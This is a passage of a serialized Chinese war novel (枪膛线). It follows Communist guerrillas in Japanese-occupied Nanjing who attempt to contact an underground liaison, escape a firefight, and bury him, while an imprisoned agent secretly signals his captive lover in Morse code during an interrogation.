毫无疑问,这些人全是曲思冬在紫金山东麓组建抗战大队的残部。在经过短暂的逃窜流亡后,他们又潜回了南京城里。 胖胖的魏瑞从人群中挤上前来一把抱住曲思冬。 在魏瑞的身后,一张友善地脸对着曲思冬微微一笑。 是张遥,那位名叫小野二郎的日本人。 “连长,我想死你了。”魏瑞迫不及待说道。 房间还算大,除了堆放了不少杂物,还摆放了不少具待售的棺材,细细一看,这几具棺材都是用楠木等珍贵材质打造而成的精品,应该是本店的镇店之宝。 曲思冬笑着拨开魏瑞,目光扫视一圈,忽然咦道:“储杆子呢?” 魏瑞瞟了一眼旁边的一具棺材,“在睡大觉呢。” 正说着,一具无盖的棺材里探出一个人头,接着冉冉升起一个身影,他一手按住棺材的边沿,身子弹起双脚稳稳着地站定,三两步来到曲思冬身边,挥手在他的胸口擂了一拳。 “你小子会说人话吗?” “我话有错吗?你难道不是我们这支队伍的标杆?” 储老先生之所以没有立即离开,也是因为在房间里没看到储洪义,这时看到他出现,连忙插话道:“洪义,这位先生自称是你的长官……” 储洪义支支吾吾嗯了一声,对储老先生说了一句:“伯父,他是和我们一起打鬼子的,我们聊会儿,您去帮我们看着点。” 储老先生把房门掩上离开。 储老先生一走,储洪义沉下脸来,佯装生气道:“曲思冬同志,我要郑重提醒你,你不是我的长官,也不是我的上级,在我们的组织里,你是连长,我是指导员,我们是平级,只是分工不同,你千万别把国军的那套坏风气带进来!” 曲思冬马上打起白旗,一脸堆笑道:“指导员同志,我错了还不行吗?” 储洪义却不依不饶,“还有,你不能在同志们面前给我起绰号,这样我的威信何在?” 魏瑞接过话,面朝曲思冬,一脸端重道:“连长同志,我也要批评你,你不能在同志们面前叫指导员的绰号,这样他的威信何在?你更不能在他的伯父面前称是他的长官,这样他的颜面何在?” 所有人哈哈大笑起来。 储洪义并不生气,依旧板着脸道:“魏瑞说得太好了,你在我的伯父面前说是我的长官,你让伯父怎么看我?我们来的时候,我跟他说过这是我的队伍,可才两天时间就冒出了一个长官,让我情何以堪?” 曲思冬忍俊不禁,“以后在你伯父面前,我改称你长官不就得了!” 储洪义也忍不住笑了起来,连连点头,“这还差不多!” 嬉闹一番后,储洪义忽然正色道:“有消息了吗?” 曲思冬正要回答,储洪义面对众人大声说道:“除了魏瑞,所有人各自回到自己的床铺休息。” 命令一下,余下的人全部奔向自个物色好的棺材,钻了进去。 房间里立时空荡起来。 储洪义引二人来到房间最里面,在一间木桌前三人坐下。储洪义替曲思冬倒了一杯茶,轻声问道:“打听到了消息了吗?” 曲思冬一边颔首一边说道:“汉中路确实有一家平安汽修厂,不过不知何时搬到水西门一带了,我正好有一辆福特轿车需要修理,为此我昨晚特地去了一趟这家汽修厂,而且也打听到了该汽修厂的老板姓李,应该就是我们所要找的目标,可惜没能遇上李老板。” 储洪义眼睛里露出兴奋的光芒:“那就好,上级交给我们的任务,终于有结果了!你打算什么时候去找李老板?” 这章没有结束,请点击下一页继续阅读!“我们约好了,今夜前去取车。” “太好了!”储洪义看了看表,“你打算什么时候动身?” “等天再晚些,我们就动身前往。” 储洪义想了想又低声说道:“有一件事我想先提醒一下你们二位,如果和组织接上头后,很多事情我们需要保密了,我们当下的形势已不同于在茅山一带打游击的时候,我们现在是在敌人的眼皮底下战斗,这对我们而言是更严峻的挑战,我们中间的所有人都会涉及到党的机密,万一不小心扩散开来,一旦某一个环节出现纰漏,对党组织将是毁灭性的打击,这一点我们三个党员必须要有共识,不该让更多人知道的秘密绝对要守口如瓶!” 曲思冬点头,“是的,在敌人的心脏里战斗,无异于与虎谋皮,稍有不慎损失无法估量,这一点我深有体会!” 曲思冬的脸色阴沉起来,长长叹了一口气。 敏锐的储洪义已察觉到,忙问:“思冬,你话里有话啊!” 曲思冬沉默半晌,缓缓道:“我一个很好的朋友,也是从事地下斗争的,刚刚被日本人抓了!” 储洪义忙问:“他是我们的同志吗?” 曲思冬苦笑道:“在转战茅山之前,我连我党的一个人毛都不认识……”接着又补充道:“他是国军一名上尉,参加过南京保卫战,受伤后被我父母和伯父救活,他还有另一重身份,居然是军统南京站的核心人物,非常优秀,能力处处在我之上,思虑慎密,可就是这样一个不可多得的人才,还是没有逃出鬼子的魔掌……”曲思冬的脑际中浮现出林赤的容貌,忽然无限伤感起来。 同时在脑海里出现的还有他的妹妹。 一丝泪花在他的眼眶绽现。 魏瑞听到这儿,好奇问道:“你是说叫林赤的那位?” 曲思冬默默点头。 “我见过!就是他给我们报信的,让我们整个抗战大队三十多号人挣脱了鬼子的包围,顺利地跳了出去!” 魏瑞把脑袋朝向储洪义继续道:“这个人倒真是了不起,我听陈大军说起过他,他最厉害的是枪法,他和连长、大军三人最早在紫金山打鬼子伏击,三个人竟然干掉鬼子将近十人。” “张遥就是那次加入你们的?”储洪义问。 “对对,张遥最有发言权了,他对这位林赤念念不忘,好几次向连长问起过他呢。” 储洪义看到曲思冬目光游离,似乎心不在焉,以为他一直为此事耿耿于怀,于是安慰道:“但愿天佑好人平安!” “还有一件事我需要向组织汇报!”曲思冬突然话锋一转。 两人目不转睛看着曲思冬。 “我妹妹也被日本人抓了!”曲思冬沮丧道。 “啊?”二人异口同声。 “而且,我这一次回来,才知道我妹妹也是我党的人……” “什么,她是我们的人?”储洪义急切问,“这之前你一无所知?” “是的,就在我刚回南京这天,我见过她的上线……这才知道她已加入我党好几年。” “怎么会这样?”储洪义自言自语,“她的上线怎么会向你透露她的身份?” “一言难尽……”曲思冬唉了一声,“他现在已被日本人盯上了,而且情况异常紧急!” 魏瑞思索着说道:“那我们南京的党组织采取措施了吗?”他说着一拍大脑,“其实我们不用拐弯抹角去找平安汽修厂,直接通过他寻找南京城的党组织不也一样吗?” 储洪义断然道:“那怎么行?这违反组织原则!我党的白区斗争向来采用单线联系。” “是的,因此我对他只字未吐我的身份,也没有说我回来的意图。”曲思冬道。 接下来长时间的沉默,空气仿佛凝固了一般。 好久,曲思冬似乎下定了决心,决然说道:“这件事上,我不管组织上怎么安排,我一定要设法营救我的妹妹!” 储洪义把桌上的一碗茶递给曲思冬,说道:“不管如何,当务之急,我们首先是要找到党组织,这是奚政委千叮万嘱的任务!” 曲思冬把碗里的茶一饮而尽,“是啊,我们这股新鲜血液的加入,将会彻底扭转我党在南京的不利局面。” 说着,曲思冬抬起手腕看了一下时间,站起身道:“我们三人该马上出发了。” 魏瑞毫不犹豫从桌后的柜子里取出三把手枪,散发给了其他二人。 储洪义也跟着站起来,“好,我们行动!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第181章 枪战 曲思冬正值血气方刚的年龄,从踏入军营的那一天起,一直怀抱着拳拳的报国之心。 在南京沦陷之前,曲思冬是一个坚定的三民主义信徒,关于三民主义,他甚至还是一名学生的时候,就从各种渠道了解到它,某种程度而言,他的投笔从戎就是为了实现这样的梦想。为了他景仰的信念,他在进入南京中央军官学校的第一天起,他便严于律己,除了努力提高自己的各项军事技能,他还积极汲取广袤的书本知识,因而,本质上说,曲思冬原本是希望在国军的阵营中大干一番的。 然而,作为参与南京保卫战的一员,曲思冬在南京城失据后,他像是激流中的一片树叶,命运的轨迹已无法自我掌控,他带领一百多名南京籍子弟兵裹挟在无序的溃败的撤退大军中,看到了一张张年轻而沮丧的脸,看到了风声鹤唳的恐惧,看到了争先恐后的踩踏,看到了高阶军官不顾一切的自私的逃命……当然,仅为小小营长的他也试图挣扎过,他毅然领着一百多名属下逆流而上,投身到玄武湖阻击战,可是那一战徒然增加了一百多名孤魂野鬼,某种意义而言,这是第一次对他的致命打击,那么多弟兄由于信任自己,义无反顾展开了和鬼子的抗争,可结果依旧是螳臂挡车,白白断送了一百多条性命,这让他羞愧不已!再后来,他带着陈大军几人在南京城的大街小巷东躲西藏,偶尔打打鬼子的冷枪,惶惶不可终日……这期间,亲眼目睹了鬼子的血腥屠杀,尤其让他的心灵饱受震撼的是躲在汉中门桥下的那一次,数千名放下枪的军警在汉中门桥外被鬼子集体行刑……彼时,他的内心是多么渴望有一支队伍杀出,拯救那些被束缚住手脚灵魂已麻木的中国军警……可是奇迹并没有出现,他陷入了对国民政府彻底地失望……正是自己的这个经历,从此让他开始质疑心中的信仰,并动摇了他为国民政府奉献终生的决心! 接下来,他意外遇见了钉子,组建抗战大队,本想籍此大有所为,然而,南京城最后一片聊以修身养息的所谓的根据地也受到了鬼子的挤压,如果不是林赤机智报信,自己的这一支数十人的队伍说不定早就支离破碎。跳出外线的他本以为会得到喘息的机会,哪里料到鬼子的围剿还在继续,不得已他们在鬼子的三面夹击中继续向东南方向逃窜,可是在临近句容时,他们又遭到了另一股鬼子的伏击。这是一股盘踞在镇江一带的鬼子,他们的攻击更凶悍,显然是对这股闯入他们地盘的不速之客持很不欢迎的态度,曲思冬和他的队伍根本不具备攻坚战的资本,一经接触,马上脱离,可被对方死死咬住,一时间竟然摆脱不了,三十多人的队伍很快伤亡过小半,正当他们绝望之际,忽然半腰杀进一队人马,对追击的鬼子展开坚决的阻击……就这样曲思冬他们才得以苟延残喘,二支队伍合二为一,迅速消失在茅山地区起伏浓密的山林间…… 这是一支由共产党领导的江南先遣游击队,数量三百多人,队长刘道,政委奚本如,均有着丰富的战斗经验,尤其擅长游击战术,正因为如此,他们这支队伍才能够生存下来,并借助茅山地区的迷幻般的地形和鬼子游刃有余地开展袭扰战,每每都能全身而退。 曲思冬和他的队伍只剩下二十人不到,对于他们的救命恩人,所有人都心甘情愿接受了他们的改编,这个时候,能有一个立身之处已经算是奢望,况且还能操起武器和鬼子继续战斗,对曲思冬他们而言,已是满满的幸福。 经过改编后,对方并没有嫌弃他的国军身份,更没有因为他只带了二十人加入他们,相反还把改编后的二连连长之位委于他,并给他配备了指导员储洪义。二连以他的残部为主,另有六十多名游击队员,这一支八十多人的队伍已是南京沦陷后,曲思冬所领导的最豪华的阵容,尽管他的职位实际上已由营长降为连长,但此刻的曲思冬,毫无疑问已踌躇满志了! 加入共产党先遣队的曲思冬,在经过几次袭扰战后,毫无例外地表现出超强的军事才能,尤其他的单兵素质更是先遣队三名连长中最优秀的,这也让当初力排众议推选曲思冬成为二连连长的奚本如政委欣喜交加,这之后,奚本如加强了和曲思冬的个人交流,试图走进曲思冬的内心,曲思冬对这位长他十来岁的共党政委打心底敬佩,在经过一整晚的长谈后,曲思冬吐露出郁结心中所有的困惑,包括对他的三民主义是否继续坚持…… 通宵达旦的倾诉衷肠,奚本如政委自然而然谈起了他们的党,谈起了他们的党的主义,这是曲思冬首次全面了解共产党,了解到共产党的本质,从他流露出了憧憬之色奚政委知道,他的目的达到了。 三天后,曲思冬便加入了共产党,奚本如成了他的入党介绍人,这恐怕是这支队伍入党速度最快的一名党员了。加入共产党的曲思冬适应能力极强,很快转变了角色,在接下来的战斗生涯中,他处处以一名共产党员的身份严格要求自己,成为了一名货真价实的布尔什维克斗士。 本小章还未完,请点击下一页继续阅读后面精彩内容!不久后,他带出的残部中,魏瑞成了第二名共产党员。 就在四天前,奚政委找到他和储洪义,给了他们一项重要任务。这也是他们上级转达下来的任务,他们必须派出一支队伍,潜入南京城,加强南京城共产党的武装力量。于是由曲思冬亲自点将,先期组织了八名战士,轻装简从连夜从太平门城墙的那处老地方潜入南京城。 奚政委给他们的任务,就是设法找到一家名为“平安”的汽修厂,设法找到汽修厂的李老板,用先期拟好的暗语接头,这之后所有的事项将由李老板负责安排,从而和城内的共产党进行对接。 之所以选择自己带领人马杀回南京,曲思冬想过其中细节,他土生土长在南京城,又有国军南京城防部队任职的经历,对南京的大街小巷不可谓不谙熟;对南京的风土人情不可谓不谙熟;对南京的斗争形势不可谓不谙熟,因而作为最佳人选,他是他们党的不二选择。 现在,他终于探听到了平安汽修厂具体地址,老板确实果真姓李,这意味着他按约定,必能在今晚于平安汽修厂见到这位李老板,也意味着上级交给他的任务已有了良好的开局,因而,他和储洪义他们又怎么能不兴奋,他们恨不得立马现身水西门外的汽修厂。 月黑风高,寒风刺骨。 三人穿行在街巷小路,一路小跑向西。 他们的内衣已被汗水浸透。没有人觉得冷。 黑黝黝的一座山横亘在不远处,曲思冬知道清凉山到了,绕过这座山,再踏上一座桥,西行数百米,平安汽修厂正张开双臂欢迎着他们的到来。 忽然一束刺眼的灯光出现在路面上,紧接着隆隆的引擎声逼仄而来。 曲思冬赶紧拉着储洪义和魏瑞躲进一间房屋的墙后。 半分钟不到,七八辆挎斗摩托从街面上风驰电掣闪过,最后面,紧跟着一辆轿车。 待这列摩托车队一过,曲思冬又带领二人从街边北侧向西疾行。 摩托车队从清凉山的最西侧右拐上了虎踞路,当他们跑步到了虎踞路上时,碰巧看到了这支车队又驶上了水西门桥。 不知何故,曲思冬突然有了一丝不祥之兆。 他跑得更快了,边跑边喝令二人跟上自己。 在确信没有危险后,曲思冬率先跑上水西门桥,三人依次快速通过桥面。他们已看不到那支鬼子车队的丝毫灯光。 印象中,这条通往水西门外的马路,全长数公里且相当规正平直,按常理,这么点时间,这列车队不会这么快通过,只有一种可能,那就是他们途中找了一条路拐进去了。 曲思冬猛然间心慌起来,他的心慢慢沉了下去。总有一种不好的预感严严实实笼罩着他的全身。他不由得停下了脚步。 “怎么啦?”紧随而至的储洪义推了推他。 “我怎么感觉要出事?”曲思冬犹犹豫豫答道。 魏瑞气喘吁吁说道:“你是担心这股鬼子?” “我的直觉告诉我,这股鬼子是奔着平安汽修厂而去。” “或许连长你多虑了,世上哪有这么巧的事?”魏瑞迫不及待说道。 “你告诉我,平安汽修厂还有多远?”储洪义忙问。 “四五百米……”正说着,三人的耳里倏然听到前方枪声大作。 “不好……”曲思冬断然喊了一声,拽起储洪义的衣袂,低声喝道:“快随我来!”说着曲思冬启动脚步,狂奔起来。 一口气跑了数百米,枪声越来越响,而且还很稠密。 马路南侧房子中间出现一条小路,这条小路和通往汽修厂的马路是平行的,之间相隔一百多米。曲思冬没有迟疑,立即带着二人沿着小路向南快跑,随着离汽修厂的位置愈近,枪声也更加清晰。 “汽修厂出事了……”曲思冬边跑边大声道。 向南跑了几百米,在和平安汽修厂同一水平线上,枪声正是从汽修厂那个方位传来。曲思冬内心异常焦虑,可找不到一条东西的小巷,不得已再次南行,终于看到一条东西方向的小路,曲思冬三人再次右拐…… 这条小路正是通向汽修厂的那条南北向的大马路。 三人早已拔出手枪,子弹也早已上膛,手枪保险也早已打开。 曲思冬的脑袋刚探出大马路边的一栋房子的砖墙,就看到不远处汽修厂门前的那盏苍白的灯光里,停满了挎斗摩托,十数条人影正在持枪向汽修厂里射击,看得出双方激战正酣。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第182章 夜逃 曲思冬三人提着手枪,在巷口面朝汽修厂翘首张望。 黑暗中,储洪义推了推曲思冬,低声问道:“思冬,我们要不要帮帮他们?” 魏瑞也焦急说道:“如果我们再不采取行动,恐怕他们会造成更大的损失!” 曲思冬头也不回说道:“再等等,这里的地形我不熟悉,只有一条马路通向汽修厂,四周没有任何掩护,如果贸然发动进攻,不但救不了他们,我们三人也有可能搭进去!” 魏瑞一手搭在曲思冬的肩上,探出脑袋观察片刻,回头对曲思冬和储洪义说道:“我们和外围的鬼子最多相距五十米,假如我们来一轮波次冲击,说不定会打乱鬼子的部署,这样必定会减轻他们的压力!” “可惜没有带步枪,如果曲连长这时手里有一支步枪,依他的枪法,这么点距离,还不是一枪一个!”储洪义迫不及待说道。 曲思冬的目光落在十数米开外的一棵槐树上,他沉思俄顷道:“我们所持的都是手枪,射程明显不够,要不这样,你们待在原地,我乘鬼子不注意冲到那棵树后,这个距离应该够了,我对鬼子展开袭扰,分散鬼子的注意力,一有情况你们马上接应!” 储洪义连连说好,曲思冬正欲行动,前方枪声骤然密集起来,围在门口的敌人一阵骚动,纷纷向后撤退,不少身着便装的敌人开始寻找掩体,有不少人干脆躲到挎斗摩托后面,依据掩护和铁门后的对手展开对射。 紧接着,从厂内冲出一小队人,数量有六七人,呈扇形向敌人压制上去,一边寻求掩护一边射击。 对手的忽然反弹一下子打乱了敌人的阵脚。 几乎是与此同时,一个人影从汽修厂内冲出,矮身躲到这众人身后,一边射击一边朝着曲思冬他们的方向撤退。 显而易见,那六七个人是在掩护他撤退。 等到他们要掩护的人一离开厂区,这队人马马上调整了策略,开始有序后撤。 即使在后撤过程中,他们也是直立着身子。 曲思冬顿时明白,他们所要掩护的一定是一位重要人物,他们这是在用身体挡住了可能飞来的子弹,以确保那位重要人物不受到伤害。 由于他们的后退,鬼子的压力减轻,最后面的一辆轿车后面探出一个脑袋,开始尖声呵斥手下进攻,曲思冬知道这是这帮敌人的头领,从声音可以听出是个年轻女子,随着敌人指挥官的呵斥越来越严厉,暗处的敌人立即醒悟过来,开始全力进击。 马路两边尽是房子,并没有太多的遮挡,子弹呼啸纷飞,不断有人中弹倒地,转眼之间,在敌人的猛烈还击下,这队人马已倒下四人。 尚还有三人在顽强抵抗,包括那名被掩护的男子。 曲思冬早已按耐不住,手握枪支冲到那棵槐树后,随时准备接应他们。 就在追击的敌人进入曲思冬的手枪有效射程内,他断然开始瞄准射击。 距离最近的一名敌人应声倒地。 这声枪响离撤退的三人最近,他们听出枪声来自身后,一开始以为受到敌人的两面夹击,不由得大惊,狐疑之间,站立原地不知所措,也就在这狐疑之间,又一颗子弹击中了其中一人,那人委身倒地,剩下的二人依旧呆立原地,苍茫四顾,竟然忘了还击。 追击的敌人在身后的吆喝声中,已逼近而来。 就在这千钧一发之际,曲思冬大声喊道:“自己人!” 剩下的幸存者这才方知来了援军,连忙果断向曲思冬他们快速靠拢,可为时已晚,一声沉闷的惨叫,一颗子弹击中了那位被掩护的重要人物,接着他整个人踉跄倒地。 曲思冬再也顾不了那么多,拔腿冲上前去,朝着对面的鬼子果断地打光了枪膛里的所有子弹。 尽管曲思冬没有刻意瞄准,子弹还是击中了两名突在前面的敌人,这两名倒地的敌人,立即引来纷至沓来的同伙们的一阵慌乱,就在这慌乱之间,曲思冬双手架起受伤的那名男子的双臂,一弯腰把那男子架上后背,向着巷口疾跑。 储洪义和魏瑞不失时机冲出来,用火力压制来犯的敌人。 十来米的路程,曲思冬数秒之内就跑进巷子,他稍作停顿,对掩护他的储洪义和魏瑞扯着嗓子喊道:“快撤!”说完迈开双腿顺着来路向东跑去。 汽修厂里唯一的幸存者紧随其后。 很快,曲思冬背着受伤的男子跑到那条南北向的小路路口,他并未停留,也未按来路向水西门桥的方向而去,而是右拐往南。 从身后凌乱的脚步声判断,储洪义和魏瑞已经跟上来了。 往南的小路越来越窄,曲思冬跑了不到一百米,路已走到尽头,取而代之的,是一片荒凉的农田。 身后依旧传来敌人纷乱的喊叫声和枪声,其中还夹杂着狗吠。曲思冬知道,敌人并没有放弃追击。 曲思冬一脚踏上这块土地,分不清田埂还是农田,径直向纵深处跑去。 这个季节,田里已没有任何庄稼,即使有一些冬季生长的作物,也由于无人料理,荒芜在田里。好在时至冬季,田里并无积水,土地也干涸坚硬,跑起来并不吃力。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!没跑多久,一条河流横亘在他的面前。 储洪义紧随而至,他的身后跟着魏瑞。 “怎么办?”魏瑞问。 曲思冬转身回看,却见身后一百多米远,灯光绰约,人声鼎沸,敌人显然循着他们的足迹追了上来。 “这是秦淮河的一条支流,又是冬天,河水肯定不深,我们抓紧时间趟过河去!”曲思冬把背上受伤的男子往上提了提。 背上的男子身子动了动,喉咙里发出咿呀的声音,似乎有话要说。 他还活着。 曲思冬没有时间理会他,抬脚越过一道田埂,开始小心翼翼沿着河床下行。 储洪义快步走到曲思冬前面,给他们一行人探路。 魏瑞持枪断后。 经过漫长冬季寒风的侵蚀,岸堤上的芦苇早已枯朽,众人不费吹灰之力便踩出一条道,来到河边,储洪义毫不犹豫地率先下水,向对岸蹚去。正如曲思冬所料,这个季节河水并不深,最中间也只是齐腰。众人依次快速过河,上岸后便又开始拔腿狂奔。 当他们上了河岸,追击的敌人已出现在河对面。 “你们继续跑,我阻击一下鬼子,待会儿我会追上你们!”魏瑞说完便朝着对面的光亮处开了一枪。 这一枪立即引来对岸的一阵哗然,紧接着对岸有人开始开枪反击。 魏瑞趴在岸堤上,并不急于还击,只是半天打上一枪。 对岸的一群敌人中,没有人敢第一个唐突过河,生怕一不小心成了靶子,只是不断高声喊叫壮胆。直到他们身后出现了怒斥声,这才一窝蜂涌下河床。 魏瑞从对方的呼叫声中听出,这伙敌人并不全部是鬼子,中间还夹着一些中国话,看来敌人心并不是很齐。 看时机成熟,魏瑞这才猫着身子撤退。 追上曲思冬他们,追击的鬼子已被他们甩下很远一段距离。 他们继续向西南方向奔跑,就这样又跑了二十多分钟,身后已不见敌人的踪影,连喧嚣声也已杳无,四周已是一片沉寂。曲思冬想或许敌人已放弃了追剿。在一大片农田的田边,他们看到了一排黑黝黝的房屋,在一间屋子的后墙边,曲思冬担心背上的伤者,连忙把他从身后轻轻放了下来。 魏瑞掏出手电递给曲思冬,一言未发便走到外围不远处警戒。 曲思冬一手托着对方的脑袋,一手拧亮手电,从头往下大略扫了一遍。 手电光先是在在对方的脸上停留,受伤男子脸色苍白,面若金纸,气息微弱。 曲思冬赶紧把手电光从他的脸上下移,在对方的胸口上,曲思冬看到了一大片血迹。 手电光继续下移,其他的地方再未见伤口。 由此可见,胸口的这一处枪伤是他的致命伤。 曲思冬关上手电,低头轻声问道:“老板贵姓?” 黑暗中,从汽修厂一直紧随他们的那位幸存者抢先答道:“请问你们是……” 曲思冬怀中的那名男子的身子动了动,他奋力地将脑袋抬了抬,嘴里气若游丝道:“我姓李……” 曲思冬心中猛然一阵狂喜,伸手握住他的手,忙不迭声道:“我们终于相见了,你还好吗?”话刚说出,突然想起自己一激动,并没有按照暗语来接头,忙补充道:“我是您老家二大爷的侄女婿的表弟,特地从湖北老家前来投靠您的,我们找您找得好苦啊!” 曲思冬手里的那只手忽然翻转过来,分明在用力想握他的手。 “同志你好……”对方拼力吐出几个字。 曲思冬把他的身子搁在腿上,另一只手盖在他的手背上,“你什么也别说了,我们一定会想办法救你的!” “不用……”对方在摇头,“我活不长了……” “不,你千万别这么说!”曲思冬不想再多说什么,一只手抄起对方的后背,就要将他架起。 “别动我!”李老板断然道,“我的身体我知道,你还是让我把话说完……” 曲思冬内心翻腾,却又无计可施,只得松手。 “我在听呢……”曲思冬嗫嚅说道,他的喉咙竟有些沙哑。 “老虎桥路上……有一家红尘茶馆,老板姓毕,你用和我所说的暗语和他接头……他接下来会安排好一切……”说完这些话,对方再无声息。 曲思冬内心忐忑,拧亮手电,发现李老板已双目紧闭。 曲思冬伸手探了探对方鼻息,半晌把李老板的身子从腿上移开,缓缓放在地上。 “怎么样?”储洪义着急问。 “他已经牺牲了……”曲思冬抑制住内心的悲伤,沉痛地对身旁的储洪义说道。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第183章 说服 曲思冬话音刚落,那位一道从汽修厂逃出的男子忽然“哇”一声大哭起来。 曲思冬再次拧亮手电,在对方脸上照射了一下,是一张稚气未脱的娃娃脸,长得白白净净,还是一个大男孩,看年龄,只不过十八九岁。 “你叫什么名字?”曲思冬问。 “我叫白进,他是我姑父。”他呜咽说道。 “小白是哪里人?”曲思冬进一步问道。 “上海人。” 哭声引来了魏瑞,魏瑞明白了一切,叹了一口气对曲思冬说道:“要不就让他以后跟着我们吧?” 曲思冬没有直接回答,一边将手电递给魏瑞一边说道:“魏排长,你带着小白到附近找一些工具,我们一起把老李同志埋了。” 魏瑞带着小白走后,储洪义对曲思冬说道:“小白也是经过战斗考验的,我看咱们就把他收留了?” 曲思冬点头应允。 很快,魏瑞和白进找来了一把锈迹斑斑的铁锹,四人借着点点的星光在附近的田地里掘了一个不大不小的土坑,并合力把老李同志抬进土坑,细心的储洪义从田埂旁的一棵柳树上,掰断一根柳枝条,插在老李的坟前,以作为铭记。 或许再过几个月,在春暖花开之际,这座坟前已是绿草茵茵,无人会知道这里究竟埋葬何人,除了他们几位。 或许再过几年,这根随手用作记号的柳枝,已绿叶成荫,无人会知道这棵柳树的由来,除了他们几位。 …… 林赤被再次带回了监房。 黑木和陶天阙交谈的这段时间,林赤一直盘着双腿枯坐在床上,整整一个多小时,他一动未动。 从下午被带到刑讯室到现在四五个小时的时间里,发生了太多太多的事,从曲思秋的意外现身,到各自经受非人的折磨,以及后来陶天阙爷孙的出现,所有的一切,都不在林赤的预案中,他的脑子很乱,唯有这个时候,他可以静下心来,将这一切在心中重新理一理。 他首先思考的是如何说服曲思秋,眼下,解救曲思秋已无良策,所有的迹象表明,唯有说出有用的情报,鬼子的松机关才可能饶她不死。 曲思秋以往给林赤的印象,总是纤弱多于刚烈,而今天,在渡边对思秋用刑的过程中,林赤见到了她的另一面,他诧异于她的坚强不屈,诧异于她的无所畏惧,除了对自己的恋人心生敬佩,林赤心中漾起的更多是一种痛。 因为他知道,再刚的钢,在强大的外力作用下,是不会弯曲的,等待它的只有一个结果——会被生生折断! 入夜时分,林赤被从监房带出,在黑木的安排下,林赤和曲思秋又见面了。 黑木决定给曲思秋最后一次机会,这应该是他的最后通牒,他对她已没有了足够的耐心,他根本不想在一个在他看来价值不大的女共谍身上浪费太多的时间,从他所掌握的情况来看,她也只是个谍报员,就他对共党组织的一贯认知来看,这个女人并不会接触到核心情报,充其量也只能通过她挖出一两个同党,至于能否顺藤摸瓜,揪出池碧疆这个老狐狸,他已经不抱奢望,从下午数小时的审讯结果可以推断,她已顽固到不可救药的地步。 他决定最后一次试试运气,如果林赤还说服不了她,他也只好放弃。 黑木特地启用了一间新的审讯室。 曲思秋被送到日方管制的鼓楼医院,把伤口作了简单处理,最深的一道伤口在额头,其次是鼻梁上的一道,医生为了防止感染,在她的额头和鼻梁上裹缠了纱布。 林赤被带至审讯室外间,他看到黑木正站在单反玻璃前观察着房内的曲思秋的一举一动, 他的身后站着陶天阙和陶楚歌。 陶天阙和陶楚歌是被黑木特地邀请而来的,合作开采锰矿一事,陶天阙提出了释放曲思秋的筹码,后在黑木的坚持下,陶天阙做出了让步,坦言只要曲思秋拿出诚意,黑木必须饶她一命。因而,作为当事人之一的陶天阙,他必须尽己所能说服她,这也是黑木的初衷。 看到林赤被带到,黑木把目光移向他,主动迎了上去。 “林先生,你曾说过要我给你们单独相见的机会,你会试着说服曲医生,现就看你的了。” “谢谢阁下信任,我会努力的。”林赤来到黑木身边,先是朝陶天阙点了点头,然后对陶楚歌微微一笑。 陶楚歌坦然和林赤打了声招呼。 林赤透过单反玻璃朝房间里看了看。 曲思秋坐在桌前的椅子上,显得出奇的安静,微微低着头,定定地看着桌上的一只水杯。她的脸上,根本没有什么表情。 “很好,这是她的最后机会了,如果林先生力有不及,我也算是仁至义尽了!” “可以开始了吗?”林赤问。 黑木点头,对林赤身后的狱警使了个眼色,狱警会意,立即解下林赤的手铐和脚镣。 林赤推门入内。 推门声并没有惊动曲思秋,她依旧一动不动,把所有的纷扰置之度外。 这章没有结束,请点击下一页继续阅读!“思秋……”林赤嗫嚅喊了一声。 曲思秋抬头看了他一眼,又低下头。 “思秋,我有话要对你说!”林赤提高了声音。 “你说吧,我听着呢……” 林赤来到曲思秋的桌子对面,背对着墙上的那面单反玻璃,缓缓地坐了下来。 “我需要你看着我!你不看我,我什么也不会说的……”林赤把双手提起搁在桌子上。 曲思秋已不似数小时前那般偏激,林赤的话竟然听进去了,她果真把目光投向林赤,只是目光异常的冷。 “你是来劝我的吧?我尽管是个女孩子,但我有自己的坚持,我不会因为你是我曾经的男友就放弃我的信仰,所以我劝你还是不要再白费口舌……”曲思秋说着开始激动起来,“你选择哪一条路那是你自己的事,我人微言轻,也不想左右你的未来,但是,也请你尊重我的选择!” 曲思秋的眼里迸发出坚毅的光芒。 “思秋,我乞求你先不要激动,听我把话说完!”林赤双目直视着曲思秋,在和她目光交汇的一瞬间,他使劲眨了眨眼睛,接着摆放在胸前的右手忽然五指张开,并快速收拢……曲思秋的目光果然被他的手指吸引,林赤毫不迟疑,手指在桌上立即开始连续敲击! 这是一串摩尔斯密码,全部采用英文字符。 若干天前的那天雨夜,林赤和曲思秋在大华电影院楼上的天台上,林赤用点燃的烟头在空中利用摩尔斯密码和她诉说衷肠后,便知道她是一名优秀的谍报员,这般简单的短语密码对曲思秋来说,肯定是小菜一碟。 “ Believe me(请相信我)!” “This is my new project(这是我的计划)!” 曲思秋目不转睛盯着林赤的右手,这两句短语马上被她收纳,她在极短的时间内看懂了林赤传达的意思。 曲思秋整个人忽然间就安静了下来。 林赤从曲思秋突然柔和起来的眼神判断,曲思秋已经明白了他传递给她的信息, “你还记得你对我说过什么吗?”林赤大脑飞速运转,为了不引起外间黑木的怀疑,林赤并未停止和曲思秋的交谈,他一边敲击暗语一边说道。 “我已经不记得我对你说过什么了?”曲思秋被动地敷衍道。 “苍天在上,黄土为证,天地为鉴,海枯石烂!”林赤的语气轻柔起来,他的脑海里马上浮现出那一晚的情景,这句话也是当时他发自肺腑的表白。 说到这里,曲思秋浑身颤栗了一下,眼里蓦然间闪现出一丝泪光。 “这句话你也忘了吗?”林赤似乎是在责问。 “我怎么会忘?我怎么能忘?!”曲思秋合上眼帘,两行泪水轻轻滑落。 “你要相信我,我们会有一个好的未来……” “你要我怎么做?”曲思秋无力地问道。 “放弃对抗,说出你所知道的一切!”林赤断然说道。与此同时,他继续轻击桌板,用摩尔斯密码给她发出了另一条短语:tried to varnish over the truth with a lie.( 用谎言掩盖真相) 。 “Don''t be innocent(别殃及无辜)。” “I believe your lies(我相信你的撒谎能力)。” 发出最后的两条讯息,林赤如释重负,迅疾立身,快步走到曲思秋面前,伸手一把握住她的手。林赤的双眼深情凝视了她片刻,复又说道:“苍天在上,黄土为证,天地为鉴,海枯石烂!” “我相信你!”曲思秋的手终于有了回应,她的手指在林赤的手心里用尽全力,恨不得把指甲扣进林赤的手心肉中。 